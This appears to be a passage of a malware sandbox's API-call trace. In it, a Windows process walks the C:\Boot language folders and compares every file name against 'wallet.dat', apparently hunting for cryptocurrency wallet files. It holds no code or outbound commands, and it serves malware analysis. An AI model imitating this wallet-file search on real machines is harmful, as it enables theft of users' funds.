0x6f3c38 [0266.424] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*" (normalized: "c:\\boot\\de-de\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.426] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.426] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.426] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.426] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.427] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.427] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.427] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.427] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.427] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.427] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.427] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.427] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.428] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.428] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="el-GR", cAlternateFileName="")) returned 1 [0266.428] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0266.428] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0266.428] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.428] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="el-GR" | out: pszDest="C:\\Boot\\el-GR") returned="C:\\Boot\\el-GR" [0266.428] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.428] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.428] lstrcmpW (lpString1="C:\\Boot\\el-GR", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.428] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\el-GR" | out: psz1="C:\\Boot\\el-GR") returned="C:\\Boot\\el-GR" [0266.428] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\el-GR" | out: psz1="C:\\Boot\\el-GR") returned="C:\\Boot\\el-GR" [0266.428] lstrlenW (lpString="\\*") returned 2 [0266.428] lstrlenW (lpString="C:\\Boot\\el-GR") returned 13 [0266.428] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.429] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*" (normalized: "c:\\boot\\el-gr\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.429] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.429] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.429] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.429] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.429] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.429] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.430] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.430] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.430] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.430] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.430] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.430] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.431] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.431] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="en-US", cAlternateFileName="")) returned 1 [0266.431] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0266.431] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0266.431] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.431] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="en-US" | out: pszDest="C:\\Boot\\en-US") returned="C:\\Boot\\en-US" [0266.431] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.431] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.431] lstrcmpW (lpString1="C:\\Boot\\en-US", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.431] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\en-US" | out: psz1="C:\\Boot\\en-US") returned="C:\\Boot\\en-US" [0266.431] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\en-US" | out: psz1="C:\\Boot\\en-US") returned="C:\\Boot\\en-US" [0266.431] lstrlenW (lpString="\\*") returned 2 [0266.431] lstrlenW (lpString="C:\\Boot\\en-US") returned 13 [0266.431] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.432] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*" (normalized: "c:\\boot\\en-us\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.433] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.433] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.433] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.433] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.433] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.433] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.433] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.433] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.433] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0266.433] lstrcmpW (lpString1="memtest.exe.mui", lpString2="wallet.dat") returned -1 [0266.433] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0266.434] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.434] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.434] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.434] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.434] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="es-ES", cAlternateFileName="")) returned 1 [0266.434] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0266.434] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0266.434] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.434] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="es-ES" | out: pszDest="C:\\Boot\\es-ES") returned="C:\\Boot\\es-ES" [0266.435] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.435] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.435] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.435] lstrcmpW (lpString1="C:\\Boot\\es-ES", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.435] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\es-ES" | out: psz1="C:\\Boot\\es-ES") returned="C:\\Boot\\es-ES" [0266.435] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\es-ES" | out: psz1="C:\\Boot\\es-ES") returned="C:\\Boot\\es-ES" [0266.435] lstrlenW (lpString="\\*") returned 2 [0266.435] lstrlenW (lpString="C:\\Boot\\es-ES") returned 13 [0266.435] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.435] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*" (normalized: "c:\\boot\\es-es\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.437] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.437] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.437] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.437] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.437] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.437] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.437] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.437] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.437] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.437] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.438] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.438] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.438] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.438] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0266.438] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0266.438] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0266.438] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.438] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="fi-FI" | out: pszDest="C:\\Boot\\fi-FI") returned="C:\\Boot\\fi-FI" [0266.438] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.438] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.439] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.439] lstrcmpW (lpString1="C:\\Boot\\fi-FI", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.439] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\fi-FI" | out: psz1="C:\\Boot\\fi-FI") returned="C:\\Boot\\fi-FI" [0266.439] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\fi-FI" | out: psz1="C:\\Boot\\fi-FI") returned="C:\\Boot\\fi-FI" [0266.439] lstrlenW (lpString="\\*") returned 2 [0266.439] lstrlenW (lpString="C:\\Boot\\fi-FI") returned 13 [0266.439] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.439] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*" (normalized: "c:\\boot\\fi-fi\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.440] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.440] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.440] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.440] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.440] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.440] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.440] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.440] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.440] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.440] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.441] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.441] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.441] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.441] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Fonts", cAlternateFileName="")) returned 1 [0266.441] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0266.441] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0266.441] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.441] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="Fonts" | out: pszDest="C:\\Boot\\Fonts") returned="C:\\Boot\\Fonts" [0266.441] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.441] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.442] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.442] lstrcmpW (lpString1="C:\\Boot\\Fonts", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.442] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\Fonts" | out: psz1="C:\\Boot\\Fonts") returned="C:\\Boot\\Fonts" [0266.442] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\Fonts" | out: psz1="C:\\Boot\\Fonts") returned="C:\\Boot\\Fonts" [0266.442] lstrlenW (lpString="\\*") returned 2 [0266.442] lstrlenW (lpString="C:\\Boot\\Fonts") returned 13 [0266.442] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.442] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*" (normalized: "c:\\boot\\fonts\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.443] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.443] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.444] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.444] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.444] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.444] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.444] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: 